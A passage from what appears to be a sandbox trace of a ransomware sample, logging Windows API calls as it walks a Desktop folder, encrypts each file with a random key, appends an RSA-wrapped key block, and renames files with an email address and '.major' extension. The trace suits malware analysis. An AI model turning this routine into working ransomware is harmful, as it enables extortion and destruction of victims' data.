pszString="deZeTFHxWHbzw21a8sW2fLcMhRMGucC/HtTxp6Nf61+xxCyVR2CQpqZLh07hLnu+\nZa49YRVAvn9HANJ9d2NViuGCxQGhxT0Y+x6lH295MnZ+ZWdKqZtG4gWBfGOFfgpA\nisjCYn73OL8CvsbWDvZSZpwbbO5CxJOMg2xrFRnH0/zh8i4eEdS86SYAqG4/p+u5\n4cb1Demii4wgFNrKKWWHRcWmjVUAGSOJ1Oa+Wywi7nWo23++hxv39MBRqn7+0YXG\n3s/aZDITSy51PhQW/ilM1ihxN3hjfPu0Jbs34TVHBWDHePsb1nJaCZuOWEWhw27W\nqwz1tppkoUXQMjNoroD8rw==\n", pcchString=0x2e3f9a8) returned 1 [0155.495] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0155.495] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.495] WriteFile (in: hFile=0x6a8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.495] CloseHandle (hObject=0x6a8) returned 1 [0155.495] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0155.496] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\-LHHhSld27E.bmp" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\-lhhhsld27e.bmp"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\-LHHhSld27E.bmp.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\-lhhhsld27e.bmp.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0155.497] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e678 | out: hHeap=0x570000) returned 1 [0155.497] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1158 | out: hHeap=0x570000) returned 1 [0155.497] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6918 | out: hHeap=0x570000) returned 1 [0155.497] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eac8 | out: hHeap=0x570000) returned 1 [0155.497] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be8f0 [0155.497] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7258 | out: hHeap=0x570000) returned 1 [0155.497] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be420 | out: hHeap=0x570000) returned 1 [0155.497] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc918 | out: hHeap=0x570000) returned 1 [0155.497] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\Desktop\\PFR2M-o0qt2\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc3587b20, ftCreationTime.dwHighDateTime=0x1d4cf0c, ftLastAccessTime.dwLowDateTime=0xad2e37a0, ftLastAccessTime.dwHighDateTime=0x1d4d50f, ftLastWriteTime.dwLowDateTime=0x15db13f7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x631580 [0155.497] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0155.497] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c76d8 [0155.497] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0155.497] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c76d8 | out: hHeap=0x570000) returned 1 [0155.497] GetLastError () returned 0x0 [0155.497] SetLastError (dwErrCode=0x0) [0155.497] GetLastError () returned 0x0 [0155.497] SetLastError (dwErrCode=0x0) [0155.497] GetLastError () returned 0x0 [0155.497] SetLastError (dwErrCode=0x0) [0155.497] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0155.498] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5beb58 [0155.498] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beb58 | out: hHeap=0x570000) returned 1 [0155.498] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c10b8 [0155.498] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x631600 [0155.498] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631600 | out: hHeap=0x570000) returned 1 [0155.498] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40390 [0155.498] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40390 | out: hHeap=0x570000) returned 1 [0155.498] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c10b8 | out: hHeap=0x570000) returned 1 [0155.498] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0155.498] FindNextFileW (in: hFindFile=0x631580, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc3587b20, ftCreationTime.dwHighDateTime=0x1d4cf0c, ftLastAccessTime.dwLowDateTime=0xad2e37a0, ftLastAccessTime.dwHighDateTime=0x1d4d50f, ftLastWriteTime.dwLowDateTime=0x15db13f7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0155.498] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0155.498] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7528 [0155.498] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0155.498] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7528 | out: hHeap=0x570000) returned 1 [0155.498] GetLastError () returned 0x0 [0155.498] SetLastError (dwErrCode=0x0) [0155.498] GetLastError () returned 0x0 [0155.498] SetLastError (dwErrCode=0x0) [0155.498] GetLastError () returned 0x0 [0155.498] SetLastError (dwErrCode=0x0) [0155.498] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0155.498] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5becb8 [0155.498] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5becb8 | out: hHeap=0x570000) returned 1 [0155.498] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631340 | out: hHeap=0x570000) returned 1 [0155.498] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e404b0 | out: hHeap=0x570000) returned 1 [0155.498] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1158 | out: hHeap=0x570000) returned 1 [0155.498] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0155.498] FindNextFileW (in: hFindFile=0x631580, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7527d420, ftCreationTime.dwHighDateTime=0x1d4c7cb, ftLastAccessTime.dwLowDateTime=0xcbfd7a00, ftLastAccessTime.dwHighDateTime=0x1d4cc00, ftLastWriteTime.dwLowDateTime=0xcbfd7a00, ftLastWriteTime.dwHighDateTime=0x1d4cc00, nFileSizeHigh=0x0, nFileSizeLow=0xc71a, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="2dbfm XwykSXRZNxS.gif", cAlternateFileName="2DBFMX~1.GIF")) returned 1 [0155.498] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0155.498] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c76d8 | out: hHeap=0x570000) returned 1 [0155.498] GetLastError () returned 0x0 [0155.498] SetLastError (dwErrCode=0x0) [0155.498] GetLastError () returned 0x0 [0155.498] SetLastError (dwErrCode=0x0) [0155.499] GetLastError () returned 0x0 [0155.499] SetLastError (dwErrCode=0x0) [0155.499] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0155.499] FindNextFileW (in: hFindFile=0x631580, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdadd870, ftCreationTime.dwHighDateTime=0x1d4d4f5, ftLastAccessTime.dwLowDateTime=0xf0d6a40, ftLastAccessTime.dwHighDateTime=0x1d4d30d, ftLastWriteTime.dwLowDateTime=0xf0d6a40, ftLastWriteTime.dwHighDateTime=0x1d4d30d, nFileSizeHigh=0x0, nFileSizeLow=0x9ca9, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="2iVEgtc.flv", cAlternateFileName="")) returned 1 [0155.499] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7960 | out: hHeap=0x570000) returned 1 [0155.499] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7450 | out: hHeap=0x570000) returned 1 [0155.499] GetLastError () returned 0x0 [0155.499] SetLastError (dwErrCode=0x0) [0155.499] GetLastError () returned 0x0 [0155.499] SetLastError (dwErrCode=0x0) [0155.499] GetLastError () returned 0x0 [0155.499] SetLastError (dwErrCode=0x0) [0155.499] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c10b8 | out: hHeap=0x570000) returned 1 [0155.499] FindNextFileW (in: hFindFile=0x631580, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3c5ea0, ftCreationTime.dwHighDateTime=0x1d4ca81, ftLastAccessTime.dwLowDateTime=0x6ce9feb0, ftLastAccessTime.dwHighDateTime=0x1d4d22e, ftLastWriteTime.dwLowDateTime=0x6ce9feb0, ftLastWriteTime.dwHighDateTime=0x1d4d22e, nFileSizeHigh=0x0, nFileSizeLow=0xe532, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="57DUQNI24EaxqR tZu.mp4", cAlternateFileName="57DUQN~1.MP4")) returned 1 [0155.499] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0155.499] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7258 | out: hHeap=0x570000) returned 1 [0155.499] GetLastError () returned 0x0 [0155.499] SetLastError (dwErrCode=0x0) [0155.499] GetLastError () returned 0x0 [0155.499] SetLastError (dwErrCode=0x0) [0155.499] GetLastError () returned 0x0 [0155.499] SetLastError (dwErrCode=0x0) [0155.499] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0155.499] FindNextFileW (in: hFindFile=0x631580, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e6b30c0, ftCreationTime.dwHighDateTime=0x1d4c5bb, ftLastAccessTime.dwLowDateTime=0x5472b1c0, ftLastAccessTime.dwHighDateTime=0x1d4cecc, ftLastWriteTime.dwLowDateTime=0x5472b1c0, ftLastWriteTime.dwHighDateTime=0x1d4cecc, nFileSizeHigh=0x0, nFileSizeLow=0xc387, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="aIgn9mFBQPRyTXFS.png", cAlternateFileName="AIGN9M~1.PNG")) returned 1 [0155.499] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0155.499] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7138 | out: hHeap=0x570000) returned 1 [0155.499] GetLastError () returned 0x0 [0155.499] SetLastError (dwErrCode=0x0) [0155.499] GetLastError () returned 0x0 [0155.499] SetLastError (dwErrCode=0x0) [0155.499] GetLastError () returned 0x0 [0155.500] SetLastError (dwErrCode=0x0) [0155.500] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0155.500] FindNextFileW (in: hFindFile=0x631580, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6bd90c00, ftCreationTime.dwHighDateTime=0x1d4c8fb, ftLastAccessTime.dwLowDateTime=0x6bd099e0, ftLastAccessTime.dwHighDateTime=0x1d4cf85, ftLastWriteTime.dwLowDateTime=0x6bd099e0, ftLastWriteTime.dwHighDateTime=0x1d4cf85, nFileSizeHigh=0x0, nFileSizeLow=0x18141, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="IFvqg2hgWuI5Wr2dp.m4a", cAlternateFileName="IFVQG2~1.M4A")) returned 1 [0155.500] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0155.500] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0155.500] GetLastError () returned 0x0 [0155.500] SetLastError (dwErrCode=0x0) [0155.500] GetLastError () returned 0x0 [0155.500] SetLastError (dwErrCode=0x0) [0155.500] GetLastError () returned 0x0 [0155.500] SetLastError (dwErrCode=0x0) [0155.500] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0155.500] FindNextFileW (in: hFindFile=0x631580, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1fbc3560, ftCreationTime.dwHighDateTime=0x1d4c903, ftLastAccessTime.dwLowDateTime=0x99c9d400, ftLastAccessTime.dwHighDateTime=0x1d4d445, ftLastWriteTime.dwLowDateTime=0x99c9d400, ftLastWriteTime.dwHighDateTime=0x1d4d445, nFileSizeHigh=0x0, nFileSizeLow=0x1451c, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="K- OG9wC.m4a", cAlternateFileName="K-OG9W~1.M4A")) returned 1 [0155.500] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7410 | out: hHeap=0x570000) returned 1 [0155.500] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7138 | out: hHeap=0x570000) returned 1 [0155.500] GetLastError () returned 0x0 [0155.500] SetLastError (dwErrCode=0x0) [0155.500] GetLastError () returned 0x0 [0155.500] SetLastError (dwErrCode=0x0) [0155.500] GetLastError () returned 0x0 [0155.500] SetLastError (dwErrCode=0x0) [0155.500] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c11a8 | out: hHeap=0x570000) returned 1 [0155.500] FindNextFileW (in: hFindFile=0x631580, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c96f280, ftCreationTime.dwHighDateTime=0x1d4c61b, ftLastAccessTime.dwLowDateTime=0x82103fb0, ftLastAccessTime.dwHighDateTime=0x1d4c749, ftLastWriteTime.dwLowDateTime=0x82103fb0, ftLastWriteTime.dwHighDateTime=0x1d4c749, nFileSizeHigh=0x0, nFileSizeLow=0x3198, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="LKNp-N0.gif", cAlternateFileName="")) returned 1 [0155.500] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7168 | out: hHeap=0x570000) returned 1 [0155.500] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7258 | out: hHeap=0x570000) returned 1 [0155.500] GetLastError () returned 0x0 [0155.500] SetLastError (dwErrCode=0x0) [0155.500] GetLastError () returned 0x0 [0155.500] SetLastError (dwErrCode=0x0) [0155.500] GetLastError () returned 0x0 [0155.500] SetLastError (dwErrCode=0x0) [0155.501] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c10b8 | out: hHeap=0x570000) returned 1 [0155.501] FindNextFileW (in: hFindFile=0x631580, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c714920, ftCreationTime.dwHighDateTime=0x1d4d314, ftLastAccessTime.dwLowDateTime=0xa4ed3800, ftLastAccessTime.dwHighDateTime=0x1d4d147, ftLastWriteTime.dwLowDateTime=0xa4ed3800, ftLastWriteTime.dwHighDateTime=0x1d4d147, nFileSizeHigh=0x0, nFileSizeLow=0xbccc, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="PEzo.mp3", cAlternateFileName="")) returned 1 [0155.501] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0155.501] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7768 | out: hHeap=0x570000) returned 1 [0155.501] GetLastError () returned 0x0 [0155.501] SetLastError (dwErrCode=0x0) [0155.501] GetLastError () returned 0x0 [0155.501] SetLastError (dwErrCode=0x0) [0155.501] GetLastError () returned 0x0 [0155.501] SetLastError (dwErrCode=0x0) [0155.501] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1158 | out: hHeap=0x570000) returned 1 [0155.501] FindNextFileW (in: hFindFile=0x631580, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15db13f7, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x15db13f7, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x15db13f7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0155.501] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0155.501] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72e8 | out: hHeap=0x570000) returned 1 [0155.501] GetLastError () returned 0x0 [0155.501] SetLastError (dwErrCode=0x0) [0155.501] GetLastError () returned 0x0 [0155.501] SetLastError (dwErrCode=0x0) [0155.501] GetLastError () returned 0x0 [0155.501] SetLastError (dwErrCode=0x0) [0155.501] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c10b8 | out: hHeap=0x570000) returned 1 [0155.501] FindNextFileW (in: hFindFile=0x631580, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x469ca610, ftCreationTime.dwHighDateTime=0x1d4cb15, ftLastAccessTime.dwLowDateTime=0x89e88630, ftLastAccessTime.dwHighDateTime=0x1d4d387, ftLastWriteTime.dwLowDateTime=0x89e88630, ftLastWriteTime.dwHighDateTime=0x1d4d387, nFileSizeHigh=0x0, nFileSizeLow=0x12c73, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="UlFavsILucGX4X_RoL.ods", cAlternateFileName="ULFAVS~1.ODS")) returned 1 [0155.501] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b71f0 | out: hHeap=0x570000) returned 1 [0155.501] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7648 | out: hHeap=0x570000) returned 1 [0155.501] GetLastError () returned 0x0 [0155.501] SetLastError (dwErrCode=0x0) [0155.501] GetLastError () returned 0x0 [0155.501] SetLastError (dwErrCode=0x0) [0155.501] GetLastError () returned 0x0 [0155.501] SetLastError (dwErrCode=0x0) [0155.501] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0155.501] FindNextFileW (in: hFindFile=0x631580, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe1d7340, ftCreationTime.dwHighDateTime=0x1d4cb6a, ftLastAccessTime.dwLowDateTime=0x114fcf00, ftLastAccessTime.dwHighDateTime=0x1d4c76e, ftLastWriteTime.dwLowDateTime=0x114fcf00, ftLastWriteTime.dwHighDateTime=0x1d4c76e, nFileSizeHigh=0x0, nFileSizeLow=0xaea0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="w-jv80La0-FO.png", cAlternateFileName="W-JV80~1.PNG")) returned 1 [0155.502] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7278 | out: hHeap=0x570000) returned 1 [0155.502] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7138 | out: hHeap=0x570000) returned 1 [0155.502] GetLastError () returned 0x0 [0155.502] SetLastError (dwErrCode=0x0) [0155.502] GetLastError () returned 0x0 [0155.502] SetLastError (dwErrCode=0x0) [0155.502] GetLastError () returned 0x0 [0155.502] SetLastError (dwErrCode=0x0) [0155.502] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0155.502] FindNextFileW (in: hFindFile=0x631580, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3310f970, ftCreationTime.dwHighDateTime=0x1d4d411, ftLastAccessTime.dwLowDateTime=0x679b6ee0, ftLastAccessTime.dwHighDateTime=0x1d4d2aa, ftLastWriteTime.dwLowDateTime=0x679b6ee0, ftLastWriteTime.dwHighDateTime=0x1d4d2aa, nFileSizeHigh=0x0, nFileSizeLow=0x1139d, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Z8ZmBjcshL9T.png", cAlternateFileName="Z8ZMBJ~1.PNG")) returned 1 [0155.502] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0155.502] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c6fd0 | out: hHeap=0x570000) returned 1 [0155.502] GetLastError () returned 0x0 [0155.502] SetLastError (dwErrCode=0x0) [0155.502] GetLastError () returned 0x0 [0155.502] SetLastError (dwErrCode=0x0) [0155.502] GetLastError () returned 0x0 [0155.502] SetLastError (dwErrCode=0x0) [0155.502] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0155.502] FindNextFileW (in: hFindFile=0x631580, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3310f970, ftCreationTime.dwHighDateTime=0x1d4d411, ftLastAccessTime.dwLowDateTime=0x679b6ee0, ftLastAccessTime.dwHighDateTime=0x1d4d2aa, ftLastWriteTime.dwLowDateTime=0x679b6ee0, ftLastWriteTime.dwHighDateTime=0x1d4d2aa, nFileSizeHigh=0x0, nFileSizeLow=0x1139d, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Z8ZmBjcshL9T.png", cAlternateFileName="Z8ZMBJ~1.PNG")) returned 0 [0155.502] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0155.502] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Desktop\\PFR2M-o0qt2\\Z8ZmBjcshL9T.png", dwFileAttributes=0x80) returned 1 [0155.502] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdda8 | out: hHeap=0x570000) returned 1 [0155.502] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\PFR2M-o0qt2\\Z8ZmBjcshL9T.png" (normalized: "c:\\users\\fd1hvy\\desktop\\pfr2m-o0qt2\\z8zmbjcshl9t.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6ac [0155.503] GetFileSizeEx (in: hFile=0x6ac, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=70557) returned 1 [0155.503] ReadFile (in: hFile=0x6ac, lpBuffer=0x2e61f30, nNumberOfBytesToRead=0x1139d, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e61f30*, lpNumberOfBytesRead=0x2e3f9b4*=0x1139d, lpOverlapped=0x0) returned 1 [0155.505] SetFilePointer (in: hFile=0x6ac, lDistanceToMove=-70557, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0155.505] WriteFile (in: hFile=0x6ac, lpBuffer=0x2e732d8*, nNumberOfBytesToWrite=0x1139d, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e732d8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1139d, lpOverlapped=0x0) returned 1 [0155.505] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e61f30 | out: hHeap=0x570000) returned 1 [0155.505] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e732d8 | out: hHeap=0x570000) returned 1 [0155.506] SetFilePointer (in: hFile=0x6ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1139d [0155.506] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.506] WriteFile (in: hFile=0x6ac, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.506] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0155.506] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0155.506] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0155.506] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0155.506] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="m65Bzw+QLowewQDRAlbGXok6Ii85cZZDEE8Cozx3qM8bOfaFgJZEh2TAqw9ckYlY\nnwcpLYLkhjLtD8BN2E9P6XhmeSYtD2R08zLLbwpzN6ghBqRGRhWyqFxKleVP6u0T\nobEDK5BqEPDrbndSEcedgnXxWHkneGNFHCZDB+fDRau+HB4E36FqHjY8gw25ro+b\nsZvFY4cxATP5UdH+FUbgFiDfsVd4aMyZTi7JvK3vLlFyu0grBdXLw860RTWEUOU+\nV2Xd9aH3jAtfttAxckVojaDsBlsV6NhrZvv9NJwBPWpaiFP88H3XmSAgwOMNUpdn\nafMD+/uqVGnZTGClXfilMQ==\n", pcchString=0x2e3f9a8) returned 1 [0155.506] WriteFile (in: hFile=0x6ac, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0155.506] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.506] WriteFile (in: hFile=0x6ac, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.507] CloseHandle (hObject=0x6ac) returned 1 [0155.507] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: 